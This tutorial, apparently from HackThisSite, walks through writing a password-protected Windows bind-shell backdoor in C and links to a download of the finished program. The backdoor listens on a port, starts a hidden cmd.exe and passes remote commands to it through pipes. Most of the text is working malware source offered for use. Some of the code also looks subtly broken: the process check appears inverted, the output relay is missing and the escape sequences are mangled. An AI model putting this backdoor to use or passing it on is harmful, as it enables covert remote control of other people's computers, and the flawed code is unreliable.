"The greatest power of the mass media is the power to ignore. The worst thing about this power is that you may not even know you're using it." --Sam Smith
Download program and sourcecode used in this tutorial here.
What will we need:
- 2 sockets, one to listen to a specific port, and the other to establish the connection.
- at least one buffer to read and write data, but we will use 2 in this tutorial.
- 4 handles to redirect the input / output for cmd.exe
These are the most important things, although we'll need some other variables / structures as well to make the program work.
The program:
I will start with the main function, and i will describe the other functions after it.
Main function:
first we will check to see how much parameters the program has given since we want the program to be able to be used with a self-chosen port as well as a self-chosen password:
CODE :
if(argc!=3) //check if we are having enough parameters
{
Usage(argv[0]); //if not, then display usage and exit program.
return EXIT_FAILURE;
}
Next we will check if the portnumber given is really a number and if it is a portnumber usable for tcp/ip:
CODE :
//check if the portnumber given is really a number
for(i=0;i<strlen(argv[1]);i++)
{
if(isdigit(argv[1][i])==0)
{
printf("Invalid port number.");
return EXIT_FAILURE;
}
}
port=atoi(argv[1]); //make integer from ascii string
//final check to see if it is a real port number
if(port>65535||port<1)
{
printf("Invalid port number.");
return EXIT_FAILURE;
}
Make everything ready and start listening to the port given:
CODE :
//tell windows we want to use sockets
WSAStartup(0x101,&wsadata); //we will use version 1.1 here
//create socket
locsock=socket(AF_INET,SOCK_STREAM,0);
//bind the socket to the specified port
if(bind(locsock,(SOCKADDR*)&sinloc,sizeof(SOCKADDR_IN))==SOCKET_ERROR)
{
WSACleanup();
printf("Error binding socket.");
return EXIT_FAILURE;
}
//listen on the specified socket
if(listen(locsock,5)==SOCKET_ERROR)
{
WSACleanup();
printf("Error listening socket.");
return EXIT_FAILURE;
}
Here we will have the infinite loop to accept connections and check the password. If password given is correct then we will start the CommandPrompt() function, if not, then we will close connection and start listening again.
CODE :
//infinite loop here to keep the program listening
while(1)
{
remsock=SOCKET_ERROR;
while(remsock==SOCKET_ERROR)
{
//accept connection to our program
remsock=accept(locsock,NULL,NULL);
if(remsock==INVALID_SOCKET)
{
//cleanup and exit program
WSACleanup();
printf("Error accepting socket.");
return EXIT_FAILURE;
}
}
//ask for password
send(remsock,welcome,sizeof(welcome),0);
recv(remsock,bufferin,sizeof(bufferin),0);
//check password given
bufferin[strlen(bufferin)-1]=0; //we need this to strip off last character
if(strcmp(bufferin,argv[2])!=0)
{
send(remsock,"nAccess Denied.n",17,0);
}
else
{
CommandPrompt(); //start the commandprompt function
}
closesocket(remsock); //close the socket
}
Usage function:
This function displays the usage of the program and then exits the program:
CODE :
void Usage(char AppName[]) //the function which does nothing more then print out the usage
{
printf("backdoor, written by White Scorpion Security (C) 2005n");
printf(" **** http://www.white-scorpion.nl ****nn");
printf("Usage: %s < port > < password >n",AppName);
}
CommandPrompt function:
This function actually does most of the work, it starts the command prompt, redirect its output and send and receive the data to the socket / command prompt.
first we define the variables used in this function, the 2 exits are used to intercept the command 'exit', since otherwise our program would hang if we don't.
CODE :
secat.nLength=sizeof(SECURITY_ATTRIBUTES);
secat.bInheritHandle=TRUE;
DWORD bytesW; //number of bytes written gets stored here
HANDLE newstdin,newstdout,readout,writein; //the handles for our Pipes
char exit1[]={'e','x','i','t',10,0}; //we need this to compare our command to 'exit'
char exit2[]={'E','X','I','T',10,0}; //we need this to compare our command to 'EXIT'
Then we create the pipes used to redirect cmd.exe 's input and output, get the startup info and fill its structure:
CODE :
//create the pipes for our command prompt
CreatePipe(&newstdin,&writein,&secat,0);
CreatePipe(&readout,&newstdout,&secat,0);
GetStartupInfo(&startinfo);
//fill another structure
startinfo.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
startinfo.wShowWindow=SW_HIDE;
startinfo.hStdOutput=newstdout;
startinfo.hStdError=newstdout;
startinfo.hStdInput=newstdin;
Now we will start the process cmd.exe:
CODE :
//start cmd prompt
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,
CREATE_NEW_CONSOLE,NULL,NULL,&startinfo,&procinfo);
//No error checks here, but you should do it to prevent unwanted behaviour.
Finally we have the endless loop which receives the output from cmd.exe and sends it to the socket, the data received from the socket is written to cmd.exe to execute the command given.
CODE :
while(1)
{
//check if cmd.exe is still running, if not then cleanup and start listening again.
if(GetExitCodeProcess(procinfo.hProcess,&exitcode)==STILL_ACTIVE)
{
CloseHandle(procinfo.hThread);
CloseHandle(procinfo.hProcess);
CloseHandle(newstdin);
CloseHandle(writein);
CloseHandle(readout);
CloseHandle(newstdout);
break;
}
bytesRead=0;
//sleep 0.5 seconds to give cmd.exe the chance to startup
sleep(500);
//check if the pipe already contains something we can write to output
PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);
if(bytesRead!=0)
{
while(bytesRead!=0)
{ //read data from cmd.exe and send to client, then clear the buffer
//receive the command given
recv(remsock,bufferin,sizeof(bufferin),0);
//if command is 'exit' or 'EXIT' then we have to capture it to prevent our program
//from hanging.
if((strcmp(bufferin,exit1)==0)||(strcmp(bufferin,exit2)==0))
{
//let cmd.exe close by giving the command, then go to closeup label
WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);
goto closeup;
}
//else write the command to cmd.exe
WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);
//clear the bufferin
for(i=0;i<sizeof(bufferin);i++)
{
bufferin[i]=0;
}
}
And we cleanup everything and return to main, which will then start listening again.
CODE :
//close up all handles
closeup:
CloseHandle(procinfo.hThread);
CloseHandle(procinfo.hProcess);
CloseHandle(newstdin);
CloseHandle(writein);
CloseHandle(readout);
CloseHandle(newstdout);
This is all, 3 functions, and some code and you can write your own backdoor. the complete sourcecode and final program from this tutorial can be downloaded from here.
Cast your vote on this article 10 - Highest, 1 - Lowest
Comments: Published: 22 comments.
HackThisSite is the collective work of the HackThisSite staff, licensed under a CC BY-NC license.
We ask that you inform us upon sharing or distributing.